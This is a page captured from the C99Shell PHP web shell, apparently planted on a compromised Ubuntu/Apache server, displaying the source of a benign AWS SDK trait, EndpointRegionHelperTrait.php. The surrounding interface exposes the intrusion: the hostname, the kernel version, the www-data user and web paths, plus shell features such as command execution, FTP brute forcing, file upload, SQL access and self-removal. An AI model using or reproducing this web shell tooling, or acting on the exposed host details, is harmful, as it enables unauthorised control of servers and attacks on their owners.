!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/S3/   drwxr-xr-x
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EndpointRegionHelperTrait.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\S3;

use 
Aws\Api\Service;
use 
Aws\Arn\ArnInterface;
use 
Aws\Arn\S3\OutpostsArnInterface;
use 
Aws\Endpoint\PartitionEndpointProvider;
use 
Aws\Exception\InvalidRegionException;

/**
 * @internal
 */
trait EndpointRegionHelperTrait
{
    
/** @var array */
    
private $config;

    
/** @var PartitionEndpointProvider */
    
private $partitionProvider;

    
/** @var string */
    
private $region;

    
/** @var Service */
    
private $service;

    private function 
getPartitionSuffix(
        
ArnInterface $arn,
        
PartitionEndpointProvider $provider
    
) {
        
$partition $provider->getPartition(
            
$arn->getRegion(),
            
$arn->getService()
        );
        return 
$partition->getDnsSuffix();
    }

    private function 
getSigningRegion(
        
$region,
        
$service,
        
PartitionEndpointProvider $provider
    
) {
        
$partition $provider->getPartition($region$service);
        
$data $partition->toArray();
        if (isset(
$data['services'][$service]['endpoints'][$region]['credentialScope']['region'])) {
            return 
$data['services'][$service]['endpoints'][$region]['credentialScope']['region'];
        }
        return 
$region;
    }

    private function 
isMatchingSigningRegion(
        
$arnRegion,
        
$clientRegion,
        
$service,
        
PartitionEndpointProvider $provider
    
) {
        
$arnRegion \Aws\strip_fips_pseudo_regions(strtolower($arnRegion));
        
$clientRegion strtolower($clientRegion);
        if (
$arnRegion === $clientRegion) {
            return 
true;
        }
        if (
$this->getSigningRegion($clientRegion$service$provider) === $arnRegion) {
            return 
true;
        }
        return 
false;
    }

    private function 
validateFipsConfigurations(ArnInterface $arn)
    {
        
$useFipsEndpoint = !empty($this->config['use_fips_endpoint']);
        if (
$arn instanceof OutpostsArnInterface) {
            if (empty(
$this->config['use_arn_region'])
                || !(
$this->config['use_arn_region']->isUseArnRegion())
            ) {
                
$region $this->region;
            } else {
                
$region $arn->getRegion();
            }
            if (
\Aws\is_fips_pseudo_region($region)) {
                throw new 
InvalidRegionException(
                    
'Fips is currently not supported with S3 Outposts access'
                    
' points. Please provide a non-fips region or do not supply an'
                    
' access point ARN.');
            }
        }
    }

    private function 
validateMatchingRegion(ArnInterface $arn)
    {
        if (!(
$this->isMatchingSigningRegion(
            
$arn->getRegion(),
            
$this->region,
            
$this->service->getEndpointPrefix(),
            
$this->partitionProvider)
        )) {
            if (empty(
$this->config['use_arn_region'])
                || !(
$this->config['use_arn_region']->isUseArnRegion())
            ) {
                throw new 
InvalidRegionException('The region'
                    
" specified in the ARN (" $arn->getRegion()
                    . 
") does not match the client region ("
                    
"{$this->region}).");
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--